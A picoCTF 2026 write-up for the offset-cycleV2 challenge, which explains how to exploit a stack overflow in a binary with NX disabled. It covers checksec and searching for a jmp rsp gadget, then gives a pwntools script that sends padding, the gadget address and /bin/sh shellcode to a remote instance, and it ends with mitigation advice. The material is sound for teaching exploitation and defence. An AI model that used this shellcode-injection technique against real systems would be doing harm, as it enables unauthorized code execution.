offset-cycleV2 picoCTF 2026 Solution

Published: March 20, 2026

Description

It's a race against time. Solve the binary exploit ASAP.

Launch the challenge instance and connect via netcat.

Like offset-cycle but with an additional mitigation or constraint.

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Check protections - NX is disabled
    Observation
    I noticed this challenge is described as offset-cycle with an additional mitigation or constraint, which suggested running checksec first to understand exactly what changed so the right exploitation technique could be chosen.
    Run checksec on the binary. Unlike offset-cycle which used ret2win, this version has NX disabled, meaning the stack is executable. The intended technique is a jmp rsp gadget + shellcode injected on the stack.
    bash
    checksec --file=./vuln
    bash
    # Expected: NX disabled, no canary

    Expected output

    NX: NX disabled
    Stack: No canary found
    PIE: No PIE
    What didn't work first

    Tried: Attempt a ret2win or ROP chain without checking checksec first, assuming NX is enabled like in offset-cycle.

    With NX disabled, building a ROP chain is unnecessary and harder than injecting shellcode directly. The ROP approach fails to produce a shell because the right gadgets may not exist; checksec reveals NX is off, signaling that a jmp rsp plus shellcode payload is the simpler and intended path.

    Tried: Run checksec and see 'NX disabled' but still assume a canary is present and waste time leaking it.

    The checksec output also shows 'No canary found', meaning the return address can be overwritten directly without leaking or brute-forcing a stack canary. Attempting a canary bypass (such as format string leak) adds complexity the binary does not require.

    Learn more

    NX (No-eXecute), also called DEP (Data Execution Prevention) on Windows, is a CPU and OS feature that marks memory regions as either executable or writable, but not both. When NX is enabled, writing shellcode to the stack and jumping to it causes an immediate access violation because the stack is marked non-executable.

    When NX is disabled, the stack is executable, and you can inject arbitrary machine code (shellcode) directly in your overflow payload and redirect execution to it. This is the classic "stack smashing" technique from the 1990s, still present in CTF challenges to teach the fundamentals before introducing mitigations.

    NX is almost universally enabled in production systems today. The most common reason it's disabled in legitimate software is JIT compilation engines (like JavaScript engines) that need to write and execute machine code at runtime - but these use carefully guarded writable/executable mappings, not the stack.

  2. Step 2
    Find the jmp rsp gadget
    Observation
    I noticed checksec showed NX disabled with no canary and no PIE, which suggested the stack is executable and a jmp rsp trampoline could redirect execution directly into shellcode placed right after the overwritten return address.
    Search the binary (or libc) for a jmp rsp gadget - an instruction that jumps to whatever RSP currently points to. After overwriting the return address with this gadget, the shellcode placed immediately after the return address will execute.
    bash
    ROPgadget --binary vuln | grep 'jmp rsp'
    bash
    # or:
    bash
    ropper -f vuln --search 'jmp rsp'
    bash
    # Confirm the input function so you know which bad bytes to avoid:
    bash
    objdump -s -j .rodata vuln | grep -E 'gets|fgets|scanf|read'
    bash
    objdump -d vuln | grep -E 'call.*(gets|fgets|scanf|read)'
    What didn't work first

    Tried: Search for a 'pop rdi; ret' gadget or a win function address instead of a jmp rsp gadget, treating this like a ret2win challenge.

    offset-cycleV2 disables NX specifically to require a jmp rsp trampoline into shellcode, not a ret2win or ROP chain. There is no win function to call, and without a leak PIE would block a libc ROP chain anyway. The correct approach is to find the FF E4 (jmp rsp) byte sequence in the binary and use it as the overwritten return address.

    Tried: Search for 'jmp rsp' only in libc rather than in the binary itself, then hard-code the libc gadget address.

    If PIE is disabled for the main binary (which checksec confirms), gadgets inside the binary have fixed addresses across runs and require no leak. A libc gadget address changes with libc version and load offset; using it without a libc leak produces a crash. Searching the binary first with 'ROPgadget --binary vuln' is the reliable approach.

    Learn more

    The jmp rsp technique exploits a subtle property of how function returns work. When the overwritten return address is popped into RIP, RSP advances past it to point to the next bytes in your payload - your shellcode. A jmp rsp gadget then jumps directly to where RSP points, executing your shellcode immediately.

    This is sometimes called a "jump to stack" exploit or a "trampoline" attack. The gadget acts as a trampoline that bounces execution from the return address into your injected code. The gadget itself can be anywhere in the binary or any loaded library, as long as the instruction sequence FF E4 (jmp rsp) exists somewhere in mapped executable memory.

    The push rsp; ret sequence is actually equivalent to jmp rsp: at the point the gadget runs, RSP already points to your shellcode (one slot past the gadget address in the payload). push rsp stores that shellcode address on the stack, and ret pops it into RIP, landing execution on the shellcode. Use it freely if jmp rsp is not available. call rsp is the other commonly-equivalent primitive. If none of these exist, look for jmp [rsp], add rsp, X; ret, or pivot through a register you control.

    For the broader exploitation theory, see Buffer overflow exploitation for CTF; for the pwntools idioms used below, see pwntools for CTF.

  3. Step 3
    Build and send the shellcode payload
    Observation
    I noticed ROPgadget confirmed a usable jmp rsp gadget at a fixed address in the binary, which suggested I could craft a payload of padding to the return address, the gadget address, and then raw shellcode that executes immediately when RSP lands on it.
    Craft a payload: padding to reach the return address + address of jmp rsp gadget + shellcode. The shellcode can be a /bin/sh shell or a direct cat /flag.txt payload.
    python
    python3 << 'EOF'
    from pwn import *
    
    e = ELF("./vuln")
    p = remote("<HOST>", <PORT_FROM_INSTANCE>)
    
    # Find jmp rsp gadget (via ROPgadget or pwntools)
    jmp_rsp = 0x????  # address from ROPgadget output
    
    offset = 64  # from cyclic pattern analysis
    
    # Recon FIRST so you know what to read. Don't hardcode /flag.txt.
    # Once you have a shell, run: ls /flag*; ls /; env | grep -i flag
    shellcode = asm(shellcraft.sh())   # interactive shell, then cat the real path
    
    # If you've already confirmed the flag path (e.g. /flag.txt) you can use:
    # shellcode = asm(shellcraft.cat('/flag.txt'))
    
    payload = b"A" * offset     # padding to RIP
    payload += p64(jmp_rsp)     # redirect to jmp rsp (lands on shellcode)
    payload += shellcode        # executed after jmp rsp
    
    p.sendline(payload)
    p.interactive()
    EOF
    What didn't work first

    Tried: Place the shellcode before the return address in the payload (inside the padding), then point the jmp rsp gadget back into the buffer.

    After the return address is popped into RIP, RSP points to the bytes immediately after the overwritten return address slot - not back into the padding. Shellcode placed before the return address requires a separate leak or bruteforce of the stack address to jump to it; jmp rsp only lands on what follows the gadget address in the payload.

    Tried: Use shellcraft.cat('/flag.txt') without first checking the actual flag path on the remote server.

    shellcraft.cat('/flag.txt') exits immediately if the path does not exist, giving no output and no further ability to explore the filesystem. Using shellcraft.sh() and spawning an interactive shell lets you run 'ls /flag*' and 'find / -name flag* 2>/dev/null' to locate the real flag path before reading it.

    Learn more

    Shellcode is machine code injected into a process to perform attacker-controlled actions. The most common payload is an execve("/bin/sh", NULL, NULL) syscall sequence that spawns a shell. pwntools' shellcraft module generates platform-appropriate shellcode, and asm() assembles it to raw bytes.

    pwntools' shellcraft.sh() generates a compact shellcode stub that executes /bin/sh. For CTF servers where you only need to read a file rather than get an interactive shell, shellcraft.cat('/flag.txt') generates even simpler shellcode that just prints the flag and exits, but it only works if the flag is actually at that path. Default to shellcraft.sh(), then run ls /flag*, ls /, and find / -name 'flag*' 2>/dev/null in the spawned shell to locate the real path.

    Real-world shellcode must sometimes be position-independent (no hardcoded addresses), avoid certain bad bytes (null bytes terminate strings, newlines may break input handling), and fit within tight size constraints. pwntools handles many of these automatically, but understanding the constraints helps when you need to write custom shellcode.

    • Avoid null bytes: use xor eax, eax instead of mov eax, 0
    • Avoid newlines (0x0a) if input is read by fgets
    • pwntools' asm(..., avoid=b'\x00\x0a') can encode around bad bytes
Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{0ff53t_cycl3_v2_...}

offset-cycleV2 disables NX, so instead of ret2win, you use a `jmp rsp` gadget to jump to shellcode placed right after the overwritten return address on the stack.

Key takeaway

The NX bit (No-eXecute, also called DEP on Windows) enforces a strict separation between memory that can be written and memory that can be executed, preventing attackers from injecting raw machine code into the stack or heap and running it. Without NX, a stack overflow does not need to redirect execution to existing code because arbitrary shellcode placed inside the overflow payload becomes directly executable. NX is the foundational mitigation that forced the development of return-oriented programming as a bypass technique, and the W^X (write XOR execute) principle it embodies is now a standard requirement in all modern operating systems and secure compilation toolchains.

How to prevent this

Disabling NX is the entire reason this is exploitable. Do not do it.

  • Always link with -z noexecstack (the default in modern toolchains). NX makes stack+heap memory non-executable; jmp rsp into shellcode immediately segfaults.
  • Bound the read so the overflow doesn't happen in the first place. fgets(buf, sizeof(buf), stdin) with stack canaries is a complete fix for this bug class.
  • If the binary genuinely needs an executable region (JIT compilers), allocate it with mprotect(PROT_READ | PROT_EXEC) after writing, and never with PROT_WRITE | PROT_EXEC simultaneously (W^X).

Related reading

Want more picoCTF 2026 writeups?

Tools used in this challenge

What to try next